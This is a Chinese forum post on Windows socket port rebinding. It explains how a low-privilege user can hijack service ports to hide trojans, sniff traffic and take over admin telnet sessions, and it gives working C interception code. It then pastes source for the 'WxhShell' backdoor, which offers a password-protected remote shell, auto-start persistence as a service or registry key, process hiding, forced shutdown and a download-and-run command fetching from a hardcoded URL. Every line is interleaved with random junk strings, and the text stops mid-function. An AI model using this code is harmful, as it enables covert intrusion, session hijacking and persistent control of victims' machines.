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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _::ssnG3jT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "|R75m,Id  
OI3j!L2f  
  saddr.sin_family = AF_INET; OKk" S_`  
`DM)tm3&m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d#W^S[[  
Lf%}\0:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NgF"1E  
bQ&%6'ck  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pd.unEWwF  
BxZ7Bk  
  这意味着什么?意味着可以进行如下的攻击: kpNp}b8']  
'Z%1Ly^b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ->7zVAX  
0F%?< : &  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yL -}E  
I7#JT?\}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d<WNN1f  
o` dQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6#\:J0  
u1d%wOY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bf2r8   
2uV5hSHYe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]v?jfy  
w@n}DCFt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C}DIm&))  
EB6X Yr  
  #include 7@m+ y  
  #include _A0X[}^K  
  #include nE2?3S>  
  #include    .M ID)PY-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |ZXz&Xor  
  int main() rp2g./2  
  { !\O!Du  
  WORD wVersionRequested; 5g$>J)Ry  
  DWORD ret; mAJ'>^`^  
  WSADATA wsaData; mgM"u94-]  
  BOOL val; xO,;4uE  
  SOCKADDR_IN saddr; EWv[Sp  
  SOCKADDR_IN scaddr; |WfL'_?$  
  int err; <=w!:   
  SOCKET s; !4 lN[  
  SOCKET sc; kg,\l9AM  
  int caddsize; u,N<U t  
  HANDLE mt; ]1W]  
  DWORD tid;   )r)ZmS5O  
  wVersionRequested = MAKEWORD( 2, 2 ); Gvvw:]WgF  
  err = WSAStartup( wVersionRequested, &wsaData ); <aI}+  
  if ( err != 0 ) { Cb.M  
  printf("error!WSAStartup failed!\n"); `U>2H4P  
  return -1; (v? rZv  
  } v"o@q2f_  
  saddr.sin_family = AF_INET; NzeiGj  
   9wO2`e )  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /Nob S'd  
v (S h+p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?,%PemN  
  saddr.sin_port = htons(23); whrDw1>(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BN FYUcVP  
  { S_RP& +!7  
  printf("error!socket failed!\n"); |Q";a:&$  
  return -1; ,e'"SVQc  
  } M=SrZ,W  
  val = TRUE; >J_ P[v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {))Cb9'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |YfJ#Agm+  
  { ?[Ma" l>  
  printf("error!setsockopt failed!\n"); Q~P|=*  
  return -1; GhjqStjS&l  
  } {K?e6-N(z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >J)4e~9EJ2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qEl PYN*wF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vL^ +X`.td  
y=[{:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h(4\k?C5  
  { w|*D{`O  
  ret=GetLastError(); {LCKt/Z>P  
  printf("error!bind failed!\n"); x~{W(;`!  
  return -1; N%1nii  
  } vg _PMy\  
  listen(s,2);  x\VP X  
  while(1) bk a%W@Y%  
  { Fdq5:v?k  
  caddsize = sizeof(scaddr); 4T v=sP  
  //接受连接请求 rq}xuSFI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oEj$xm_}  
  if(sc!=INVALID_SOCKET) x-4d VKE*z  
  { U)Tl<l<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); { 9\/aXPS  
  if(mt==NULL) #TH(:I=[  
  { .C ,dV7  
  printf("Thread Creat Failed!\n"); b^P\Q s*m  
  break; H\9ePo\b~  
  } P_75-0G  
  } i*A_Po  
  CloseHandle(mt); bqx2lQf,_  
  } HEhBOER?  
  closesocket(s); )p:+!sX(  
  WSACleanup(); &n0Ag]$P  
  return 0; I9`ZK2S  
  }   \g)?7>M|  
  DWORD WINAPI ClientThread(LPVOID lpParam) :m/qR74+"  
  { eIN0 T;1T  
  SOCKET ss = (SOCKET)lpParam; P7l3ZH( g  
  SOCKET sc; C',uY7}<  
  unsigned char buf[4096]; pr,1pqiAf  
  SOCKADDR_IN saddr; AI9922}*  
  long num; TgJ6O,0  
  DWORD val; \$F#bIjC  
  DWORD ret; z3>4 xn{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ap"pQ[t;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EVA&By6_k  
  saddr.sin_family = AF_INET; u),.q7(m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5l%g3F  
  saddr.sin_port = htons(23); }Gx@1)??  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uf:'"7V7  
  { K*4ib/'E a  
  printf("error!socket failed!\n"); Q:b0!  
  return -1; *Ue#Sade  
  } 2:e7'}\D.  
  val = 100; CteNJBm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U9awN&1([  
  { eYUq0~3  
  ret = GetLastError(); 7+hc?H[&'  
  return -1; ua_,c\iL  
  } W%o! m,zFM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~lqNWL^l  
  { j7NOYm5N  
  ret = GetLastError(); Z J1@z.  
  return -1; !:tr\L {  
  } I#7H)^us  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <JvYCWX`  
  { cjd-B:l  
  printf("error!socket connect failed!\n"); S?VKzVDB.S  
  closesocket(sc); 2t>>08T  
  closesocket(ss); ~d ~oC$=TC  
  return -1; B7o US}M  
  } 2=1qmQE  
  while(1) @3FQMs4  
  { LW">9 ;n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?wn <F}UH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OqmW lN.?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,6"[vb#*3  
  num = recv(ss,buf,4096,0); C 20VSwd  
  if(num>0) 8E9k7  
  send(sc,buf,num,0); CoWT  
  else if(num==0) &SPr#OkW  
  break; ilZ5a&X;  
  num = recv(sc,buf,4096,0); !0):g/2h  
  if(num>0) iQLP~Z>,T  
  send(ss,buf,num,0); X\*H7;k,  
  else if(num==0) "1%k"+&  
  break; <DII%7q,6/  
  } PGVP0H+RV  
  closesocket(ss); U#XW}T=|  
  closesocket(sc); l\d[S]  
  return 0 ; E33x)CP  
  } ng6E &<Z  
yC4%z) t&R  
frV_5yK'  
========================================================== #BZ5Mxzj  
G(t&(t`[  
下边附上一个代码,,WXhSHELL t~!ag#3['.  
Y|W#VyM-  
========================================================== Ln/*lLIOb  
5-S-r9  
#include "stdafx.h" `FX?P`\@I  
PQz[IZ  
#include <stdio.h> O<dCvH  
#include <string.h> 1W}k>t8?h'  
#include <windows.h> k ,r*xt  
#include <winsock2.h> s t#^pWL  
#include <winsvc.h> r|/9'{!  
#include <urlmon.h> qQ,(O5$|  
dwiLu&]u  
#pragma comment (lib, "Ws2_32.lib") vVsaGW   
#pragma comment (lib, "urlmon.lib") =eh!eZ9  
-OKXfN]  
#define MAX_USER   100 // 最大客户端连接数 r'XWt]B+[  
#define BUF_SOCK   200 // sock buffer 5Z#(C#  
#define KEY_BUFF   255 // 输入 buffer n^l5M^.  
`q1-yH0~4  
#define REBOOT     0   // 重启 RtDTcaW/  
#define SHUTDOWN   1   // 关机 $:onKxVM  
kb~ 9/)~g  
#define DEF_PORT   5000 // 监听端口 5p3: 8G7  
q>6,g>I  
#define REG_LEN     16   // 注册表键长度 dKw[#(m5v  
#define SVC_LEN     80   // NT服务名长度 9,"gXsvx(  
&[yYgfsp  
// 从dll定义API >gn@NJ2N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !!Yf>0u#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q2Uk0:M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <YCR^?hJSi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i=fhK~Jd  
wGHVq fm5  
// wxhshell配置信息 ^a!oq~ZSy  
struct WSCFG { ?3v-ppw%  
  int ws_port;         // 监听端口 QPvWdjf#mM  
  char ws_passstr[REG_LEN]; // 口令 )[yKO  
  int ws_autoins;       // 安装标记, 1=yes 0=no &iy7It  
  char ws_regname[REG_LEN]; // 注册表键名 5D3&6DCH  
  char ws_svcname[REG_LEN]; // 服务名 C?6q ]k]r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -:b<~S[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2t=&h|6EW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2{g&9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {WeRFiQ?-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jX t5.9 t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X 3ZKN;  
?b(DDQMf  
}; M,Lq4bz  
f.R;<V.)  
// default Wxhshell configuration R m2M  
struct WSCFG wscfg={DEF_PORT, n~i^+pD@  
    "xuhuanlingzhe", ;B :\e8  
    1, .l,NmF9  
    "Wxhshell", *_a jb:  
    "Wxhshell", 1D~B\=LL}  
            "WxhShell Service", X-j<fX_  
    "Wrsky Windows CmdShell Service", y35e3  
    "Please Input Your Password: ", CdtwR0  
  1, ^6!8)7b  
  "http://www.wrsky.com/wxhshell.exe", Lr`Gyl62  
  "Wxhshell.exe" wvr`~e  
    }; -W|~YK7e  
[[}ukG4  
// 消息定义模块 -, $:^4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oiz]Bd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z34+1d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z_T~2t  
char *msg_ws_ext="\n\rExit."; !__^M3S,k  
char *msg_ws_end="\n\rQuit."; mxwG~a'_  
char *msg_ws_boot="\n\rReboot..."; sq8O+AWl  
char *msg_ws_poff="\n\rShutdown..."; h{?f uoZj%  
char *msg_ws_down="\n\rSave to "; 4k6:   
qJXf c||Zg  
char *msg_ws_err="\n\rErr!"; |CBJ8],mT  
char *msg_ws_ok="\n\rOK!"; KF`mOSP  
hm1.UE  
char ExeFile[MAX_PATH]; Imo?)dYK  
int nUser = 0; :a( Oc'T  
HANDLE handles[MAX_USER]; pT;xoe   
int OsIsNt; BbzIQg:  
u:^9ZQ+  
SERVICE_STATUS       serviceStatus; W:2]d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O@LUM{\  
RF\h69]:I  
// 函数声明 \@_?mL@=  
int Install(void); SMQC/t]HT  
int Uninstall(void); $@WA}\D  
int DownloadFile(char *sURL, SOCKET wsh); n+Ng7  
int Boot(int flag); OoZv\"}!_  
void HideProc(void); g_"B:DR  
int GetOsVer(void); J^pq<   
int Wxhshell(SOCKET wsl); F}5skD=  
void TalkWithClient(void *cs); %V-Hy;V  
int CmdShell(SOCKET sock); C{V,=Fo^  
int StartFromService(void); ;9uDV -"  
int StartWxhshell(LPSTR lpCmdLine); }7qboUGe  
U(<~("ocN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xp"F)6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H.[(`wi!I  
pJQ_G`E  
// 数据结构和表定义 ip*UujmNyR  
SERVICE_TABLE_ENTRY DispatchTable[] = cs]3Rp^g  
{ R ~#&xfMd.  
{wscfg.ws_svcname, NTServiceMain}, " _TAo  
{NULL, NULL} 2]tW&y_i  
}; AxCFZf5  
asbFNJG{  
// 自我安装 6N.MC B^  
int Install(void) S&'-wA Ed  
{ LO)QEUG  
  char svExeFile[MAX_PATH]; zR}vR9Ls  
  HKEY key; o~VZ%B  
  strcpy(svExeFile,ExeFile); `Z (`  
Ja%isIdh  
// 如果是win9x系统,修改注册表设为自启动 X@~R<  
if(!OsIsNt) { $oi8 <8Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ga;Lm?6-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ Vsf? ID  
  RegCloseKey(key); qwd T= H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dh9C9<Ta:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s>ZlW:jY  
  RegCloseKey(key); XeAH.i<  
  return 0; rX|{nb  
    } Ys@\~?ym+  
  } FOuPj+}F  
} B)&z% +  
else { 0-Wv$o[  
v&"sTcS|  
// 如果是NT以上系统,安装为系统服务 tSunO-\y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HU-#xK  
if (schSCManager!=0) :2;c@ uj  
{ -L2% ,.E>4  
  SC_HANDLE schService = CreateService zY&/lWW._  
  ( I -V=Z:  
  schSCManager, F'njtrO3  
  wscfg.ws_svcname, sfCU"O2G  
  wscfg.ws_svcdisp, ^<Sy{KY  
  SERVICE_ALL_ACCESS, t\-;n:p-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sTECNY=l  
  SERVICE_AUTO_START, EB5 ^eNdL  
  SERVICE_ERROR_NORMAL, (gUxS.zU  
  svExeFile, oX6()FR  
  NULL, i0[mU,  
  NULL, ezr'"1Ba}  
  NULL, >NBwtF>  
  NULL, >uYGY{+j[  
  NULL }A7 ] bd  
  ); Gq.fQ_oOb  
  if (schService!=0) C33=<r[;N<  
  { xx[l#+:c  
  CloseServiceHandle(schService); bm(.(0MI  
  CloseServiceHandle(schSCManager); }[By N).  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p+:MZP -%(  
  strcat(svExeFile,wscfg.ws_svcname); o@r~KFIe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u%nhQ%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $_ k:{?  
  RegCloseKey(key); /#e-x|L  
  return 0; bbFzmS1  
    } (.9H1aO46|  
  } jp#/]>(9Z  
  CloseServiceHandle(schSCManager); fZ  pUnc  
} B..> *Xb  
} zR }vw{  
@}A3ie'w  
return 1; lFc^y  
} @)3orH  
~G8haN4  
// 自我卸载 *En4~;l  
int Uninstall(void) I<$m%  
{ Dmn{ppfyb  
  HKEY key; ]{pH,vk-  
O29GPs  
if(!OsIsNt) { }j|YX&`p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DMd&9EsRG  
  RegDeleteValue(key,wscfg.ws_regname); pt9fOih[  
  RegCloseKey(key); 8|IlJiJ~v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (l:LG"sy\  
  RegDeleteValue(key,wscfg.ws_regname); \Oa11c`6  
  RegCloseKey(key); 3 >G"&T{  
  return 0;  =E:a\r  
  } wL" 2Cm  
} w(R+p/RF  
} S(hT3MAW  
else { -|/*S]6kK  
]0myoWpi3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BPC>  
if (schSCManager!=0) DV jsz  
{ wXUgxa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LKu ,H  
  if (schService!=0) #:} mi;{  
  { (Z at|R.F  
  if(DeleteService(schService)!=0) { ;%$wA5"2M  
  CloseServiceHandle(schService); G'6f6i|<I@  
  CloseServiceHandle(schSCManager); ^1z)\p1  
  return 0; C 4hvk'=  
  } e2M jV8Bs  
  CloseServiceHandle(schService); QhmOO-Z?  
  } (:ij'Zbz  
  CloseServiceHandle(schSCManager); }1Km h]  
} c$R<j'7  
} 5Q@4@b{C  
Ia*T*q Ju  
return 1; -v?)E S  
} <~35tOpv  
)r:gDd#/X  
// 从指定url下载文件 ?F@X>zR2  
int DownloadFile(char *sURL, SOCKET wsh) +We=- e7  
{ hquN+eIDH  
  HRESULT hr; M0"}>`1lJ  
char seps[]= "/"; p"=8{LrO  
char *token; .oxeo 0@~  
char *file; z#{%[X2  
char myURL[MAX_PATH]; K{]\}7+   
char myFILE[MAX_PATH]; 17B`  
gYvT'72  
strcpy(myURL,sURL); N1espc@j  
  token=strtok(myURL,seps); NIxtT>[+3  
  while(token!=NULL) teg[l-R"7z  
  { pDG>9P#mO  
    file=token; 6ragRS/'x  
  token=strtok(NULL,seps); G0pqiU6  
  } A=pyaU`aE  
p$@l,4@{  
GetCurrentDirectory(MAX_PATH,myFILE); "0Yb 2>F  
strcat(myFILE, "\\"); MnD^jcx   
strcat(myFILE, file); U&SgB[QHO  
  send(wsh,myFILE,strlen(myFILE),0); )VFS&|#\  
send(wsh,"...",3,0); u_X(c'aE;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); td\'BV  
  if(hr==S_OK) gl!F)RdH  
return 0; hwd{^  
else a3[lZPQe  
return 1; T6Ks]6m_  
8WMGuv  
} ue"e><c6:  
vB1nj<]&z  
// 系统电源模块 gatxvR7H  
int Boot(int flag) h9WyQl7  
{ L$ ZZ]?7j  
  HANDLE hToken; %2EHYBQjN  
  TOKEN_PRIVILEGES tkp; LFPYnK  
i$S*5+  
  if(OsIsNt) { Kma-W{vGD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }tUr V   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C?lZu\L  
    tkp.PrivilegeCount = 1; Ebytvs,w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ue2k^a*Ww  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QVPJ$~x  
if(flag==REBOOT) { '=]|"   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O*+,KKPt  
  return 0; ]m"6a-,`  
} oAxCI/  
else { 4#2iq@s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5WU ? Km  
  return 0; 7G5VwO  
} $' >|r]  
  }  Ts 1  
  else { QeipfK+me  
if(flag==REBOOT) { 8VR! Y0`e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hR%2[lBn!]  
  return 0; 3[}w#n1  
} V.Qy4u7m  
else { Xo~kB)|,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pQ9~^  
  return 0; A!fRpN  
} TrmrA$5f  
} 0%>_fMaA  
f l*O)r  
return 1; -JfO} DRI  
} A6%~+9  
73>Hzpv0  
// win9x进程隐藏模块 1n )&%r  
void HideProc(void) 9Ts rg  
{ YTYCv7  
e? n8S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %][6TZ}  
  if ( hKernel != NULL ) t[Ywp!y[  
  { a&s&6Q|Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q!v]njCIB7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2RC@Fu~zaU  
    FreeLibrary(hKernel); dn|OY. `|  
  } NGOyd1$7N  
j`ybzG^  
return; 2kVQ#JyuRI  
} 6HR^q  
1i:Q %E F  
// 获取操作系统版本 n`2LGc[rP  
int GetOsVer(void) `]4bH,%~  
{ T +~ _D  
  OSVERSIONINFO winfo; A N 'L- E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L(w?.)E  
  GetVersionEx(&winfo); =>,X)+O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  NncII5z  
  return 1; &)#bdt[  
  else k9 NPC"  
  return 0; g RBbL1  
} F=r`'\JV[  
o1]ZeF  
// 客户端句柄模块 1OW#_4w/  
int Wxhshell(SOCKET wsl) Q<d|OX  
{ -Gmg&yQ9  
  SOCKET wsh; n>i}O!agg  
  struct sockaddr_in client; muKCCWy#  
  DWORD myID; !0!r}#P  
#5}v?  
  while(nUser<MAX_USER) /E<:=DD<  
{ _"c:Z!L  
  int nSize=sizeof(client); ".Sa[A;~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TxXX}6  
  if(wsh==INVALID_SOCKET) return 1; m. "T3K  
El4SL'E@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BhC>G2 ^7  
if(handles[nUser]==0) P1A5Qq  
  closesocket(wsh); C!s !j  
else w^wh|'u^_@  
  nUser++; J^)=8cy  
  } "=vH,_"Ql  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y?.l9  
;P!x/Ct  
  return 0; r>3y87  
} ]gG&X3jaKq  
(H-}z`sy/@  
// 关闭 socket :zLeS-  
void CloseIt(SOCKET wsh) W:*  {7qJ  
{ 66%4p%#b4  
closesocket(wsh); \1mTKw)S  
nUser--; HA0Rv#p  
ExitThread(0); *zTEK:+_  
} SWPb=[WEz  
VAet!H+]  
// 客户端请求句柄 G+zIh}9  
void TalkWithClient(void *cs) FCA]zR1  
{ 2}jC%jR2  
CwQRHi  
  SOCKET wsh=(SOCKET)cs; MZK%IC>  
  char pwd[SVC_LEN]; g]Fm%iy  
  char cmd[KEY_BUFF]; 8KyF0r?  
char chr[1]; 5;_&C=[  
int i,j; {&d )O  
`;\~$^sj}  
  while (nUser < MAX_USER) { E (bx/f  
VSW"/{Lp  
if(wscfg.ws_passstr) { b?deZ2"L#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .U9A \$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J'#R9NO<  
  //ZeroMemory(pwd,KEY_BUFF); vD'YLn%Q  
      i=0; P2>Y0"bY  
  while(i<SVC_LEN) { \YrvH  
3~6,fTMz{  
  // 设置超时 N,~"8YSo  
  fd_set FdRead; ?2i\E RG?  
  struct timeval TimeOut; j#[%-nOT  
  FD_ZERO(&FdRead); z((9vi W  
  FD_SET(wsh,&FdRead); )h,-zAnZ  
  TimeOut.tv_sec=8; j^qI~|#  
  TimeOut.tv_usec=0; ".:]? Lvt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U Rb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [&h%T;!Qii  
1J @43>u{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :elTqw>pn  
  pwd=chr[0]; kQQhZ8Ch  
  if(chr[0]==0xd || chr[0]==0xa) { /Vy,6:$H3  
  pwd=0; &L`yX/N2  
  break; Fooa~C"  
  } 'ghwc:Og|%  
  i++; y~/i{a;1y  
    } =VOl  *  
c?XqSK`',Z  
  // 如果是非法用户,关闭 socket 0|D l/1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e =Teq~K  
} ZKco  
_ pKWDMB$z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m. DC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JDj^7\`  
VaLl$w  
while(1) { f%cbBx^;  
IM9P5?kJ ?  
  ZeroMemory(cmd,KEY_BUFF); SlojB^%  
V^5Z9!  
      // 自动支持客户端 telnet标准   w;(B4^?  
  j=0; R'1L%srTM+  
  while(j<KEY_BUFF) { 5KvqZ1L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2z615?2_U  
  cmd[j]=chr[0]; #uillSV  
  if(chr[0]==0xa || chr[0]==0xd) { DY6ra% T  
  cmd[j]=0; (D <o=Q  
  break; fS?fNtD6<  
  } Od@<L  
  j++; vB;$AFh{  
    } }}MZgm~U)  
ct-;L' a  
  // 下载文件 |{JJ2c\W  
  if(strstr(cmd,"http://")) { nps"nggk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5X=ik7m^  
  if(DownloadFile(cmd,wsh)) @#W$7Gwf0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8bP4  
  else > g=u Y{Rf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9a;8^?Ld%S  
  } OJ2I (8P  
  else { bJ6@ B<  
bhg OLh#  
    switch(cmd[0]) { Xsit4Ma  
  gP 6`q  
  // 帮助 c0M>CaKD  
  case '?': { J0a#QvX!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Ir.1FN  
    break; Mh;rhQ  
  } g1zX^^nd,V  
  // 安装 v'W`\MKY)  
  case 'i': { [*|QA 9  
    if(Install()) H]JVv8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Y'svn1H  
    else 2*1FW v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6h_OxO&!U  
    break; \QKr2|  
    } kx_PMpc  
  // 卸载 i1JWdHt  
  case 'r': { |nTZ/MXbw  
    if(Uninstall()) dgsD~.((A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X*Dt<i};v  
    else J~URv)g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KQ\d$fX  
    break; TDnbX_xC<  
    } KIfR4,=Q|  
  // 显示 wxhshell 所在路径 =gb(<`{>  
  case 'p': { r GxX]  
    char svExeFile[MAX_PATH]; RS`~i8e'  
    strcpy(svExeFile,"\n\r"); BL Q&VI4  
      strcat(svExeFile,ExeFile); YMEI J}  
        send(wsh,svExeFile,strlen(svExeFile),0); ,H+LE$=  
    break; &}/h[v_#'  
    } oy!Dm4F  
  // 重启 %/(>>*}Kw|  
  case 'b': { \r+8}8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G oJ\6& "  
    if(Boot(REBOOT)) bu|ecv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sBfPhBT|  
    else { en6oFPG   
    closesocket(wsh); qmJ^@dxs  
    ExitThread(0); 5{uK;Vxse  
    } ' y9yx[P  
    break; Md4JaFA(  
    } '5n67Hl 1  
  // 关机 6bW:&IPQ;  
  case 'd': { :$"L;"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dfoFs&CSKh  
